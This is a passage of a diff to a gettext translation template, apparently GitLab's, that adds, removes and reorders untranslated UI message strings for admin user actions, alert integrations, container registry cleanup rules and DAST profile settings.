-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -724,9 +728,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -831,40 +832,13 @@ msgstr[3] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -926,6 +900,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -1033,6 +1010,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -1051,12 +1031,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1688,9 +1662,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -2040,9 +2011,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2265,6 +2242,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2313,16 +2299,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2349,6 +2338,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2385,6 +2377,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2424,6 +2425,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2433,6 +2443,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2442,6 +2455,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2454,7 +2476,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2668,6 +2696,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2677,9 +2723,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2707,6 +2762,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2719,7 +2780,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2728,27 +2795,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2758,9 +2849,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2770,6 +2858,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2782,6 +2882,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2797,16 +2900,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2911,6 +3035,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -3028,9 +3155,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -3151,9 +3275,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3187,16 +3308,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3253,6 +3377,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3280,9 +3407,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3313,6 +3437,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3331,6 +3458,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3517,6 +3647,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3587,6 +3723,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3668,6 +3807,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3719,9 +3861,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3774,6 +3913,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -4052,6 +4194,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -4172,6 +4320,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4460,12 +4611,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4490,6 +4647,13 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4541,6 +4705,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4799,9 +4966,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4829,6 +4993,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4925,6 +5092,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4952,6 +5122,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4985,9 +5161,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5129,6 +5302,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -5147,9 +5323,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5216,6 +5389,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5402,12 +5578,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5441,6 +5611,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5609,7 +5782,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5651,10 +5824,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5702,7 +5875,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5711,9 +5884,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5804,6 +5974,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5912,6 +6085,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -6170,9 +6346,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6275,6 +6448,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6608,7 +6784,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6951,6 +7127,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -7074,9 +7253,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7248,6 +7424,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7272,7 +7451,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7304,6 +7483,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7379,6 +7561,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7388,6 +7579,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7413,7 +7613,16 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7422,6 +7631,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7443,21 +7655,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8248,9 +8469,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8311,6 +8529,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8438,9 +8659,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8489,7 +8707,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8516,9 +8737,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8540,15 +8758,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8582,9 +8800,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
